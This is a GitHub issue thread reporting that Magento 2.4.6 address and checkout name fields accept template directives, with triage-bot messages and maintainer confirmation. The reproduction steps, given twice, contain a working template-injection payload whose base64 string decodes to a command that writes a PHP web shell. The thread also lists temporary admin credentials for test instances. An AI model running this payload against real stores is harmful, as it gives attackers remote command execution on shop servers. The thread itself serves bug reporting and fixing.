Customer address form allows random code in the name fields

[nkarthickannan]

Preconditions and environment

Magento version - 2.4.6-p3

Steps to reproduce

1. Install a fresh Magento latest version with sample data
2. Register as a customer and login
3. Add a new address from the My Account section
4. Provide the following code in the First name and Last name fields

{{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

Expected result

Magento should not allow to proceed by throwing an error

Actual result

Magento allows the user to proceed further without throwing an error

Additional information

The same issue is NOT reproducible in the registration page. However, it occurs in the My Account -> Add new address page and in the checkout shipping and billing address pages.

Release note

No response

Triage and priority

• Severity: S0 - Affects critical data or functionality and leaves users without workaround.
• Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
• Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
• Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
• Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.

[m2-assistant]

Hi @nkarthickannan. Thank you for your report.
To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce. To deploy vanilla Magento instance on our environment, Add a comment to the issue:

• @magento give me 2.4-develop instance - upcoming 2.4.x release
• For more details, review the Magento Contributor Assistant documentation.
• Add a comment to assign the issue: @magento I am working on this
• To learn more about issue processing workflow, refer to the Code Contributions.

---

Join Magento Community Engineering Slack and ask your questions in #github channel.
⚠️ According to the Magento Contribution requirements, all issues must go through the Community Contributions Triage process. Community Contributions Triage is a public meeting.
🕙 You can find the schedule on the Magento Community Calendar page.
📞 The triage of issues happens in the queue order. If you want to speed up the delivery of your contribution, join the Community Contributions Triage session to discuss the appropriate ticket.

[nkarthickannan]

@magento give me 2.4-develop instance

[magento-deployment-service]

Hi @nkarthickannan. Thank you for your request. I'm working on Magento instance for you.

[magento-deployment-service]

Hi @nkarthickannan, here is your Magento Instance: https://41b5b1a0b9411c4864dbbb39d50a21ed.instances-prod.magento-community.engineering
Admin access: https://41b5b1a0b9411c4864dbbb39d50a21ed.instances-prod.magento-community.engineering/admin_b3b9
Login: e994134d
Password: fa8456ffe600

[nkarthickannan]

Issue confirmed in the Magento instance provided by the bot as well. The screenshots are provided below for reference:

[m2-assistant]

Hi @engcom-Bravo. Thank you for working on this issue.
In order to make sure that issue has enough information and ready for development, please read and check the following instruction: 👇

• 1. Verify that issue has all the required information. (Preconditions, Steps to reproduce, Expected result, Actual result).
• 2. Verify that issue has a meaningful description and provides enough information to reproduce the issue.
• 3. Add Area: XXXXX label to the ticket, indicating the functional areas it may be related to.
• 4. Verify that the issue is reproducible on 2.4-develop branch
  Details

  - Add the comment @magento give me 2.4-develop instance to deploy test instance on Magento infrastructure.
  - If the issue is reproducible on 2.4-develop branch, please, add the label Reproduced on 2.4.x.
  - If the issue is not reproducible, add your comment that issue is not reproducible and close the issue and stop verification process here!
• 5. Add label Issue: Confirmed once verification is complete.
• 6. Make sure that automatic system confirms that report has been added to the backlog.

[engcom-Bravo]

HI @nkarthickannan,

Thank you for reporting and collaboration.

Verified the issue on Magento 2.4-develop instance and the issue is reproducible.Kindly refer the screenshots.

Steps to reproduce

• Install a fresh Magento latest version with sample data
• Register as a customer and login
• Add a new address from the My Account section
• Provide the following code in the First name and Last name fields

{{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

While Creating New customer it is working fine and throws an error for first name and last name.

For an address it is not giving any error for first name and last name and it is saved successfully.

Hence Confirming the issue.

Thanks.

[github-jira-sync-bot]

✅ Jira issue https://jira.corp.adobe.com/browse/AC-10782 is successfully created for this GitHub issue.

[m2-assistant]

✅ Confirmed by @engcom-Bravo. Thank you for verifying the issue.
Issue Available: @engcom-Bravo, You will be automatically unassigned. Contributors/Maintainers can claim this issue to continue. To reclaim and continue work, reassign the ticket to yourself.

[nkarthickannan]

@engcom-Bravo

Considering the severity of this issue, will it be possible to provide a patch release for this bug ? As it is already working in the registration form, implementation will not take much time (I may be wrong). Also, this may lead to security problems as well.

So, it will be better if it is addressed on top priority.

[dekiakbar]

@magento I'm working on this

[gitevildelta]

@magento give me 2.4-develop instance

[magento-deployment-service]

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

[magento-deployment-service]

Hi @gitevildelta, here is your Magento Instance: https://41b5b1a0b9411c4864dbbb39d50a21ed.instances-prod.magento-community.engineering
Admin access: https://41b5b1a0b9411c4864dbbb39d50a21ed.instances-prod.magento-community.engineering/admin_dfc2
Login: 99c2fa12
Password: 90053246adce

[magento-deployment-service]

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

[magento-deployment-service]

Hi @gitevildelta, unfortunately there is no ability to deploy Magento instance at the moment. Please try again later.

[magento-deployment-service]

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

[magento-deployment-service]

Hi @gitevildelta, unfortunately there is no ability to deploy Magento instance at the moment. Please try again later.

[magento-deployment-service]

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

[magento-deployment-service]

Hi @gitevildelta, unfortunately there is no ability to deploy Magento instance at the moment. Please try again later.

[nkarthickannan]

@dekiakbar @engcom-Bravo This issue is also there in the checkout page as well. Is there a fix for checkout page as well ?

[bafmaamy]

Try this #39002 (comment)

[ihor-sviziev]

Wasn't it fixed in #38345?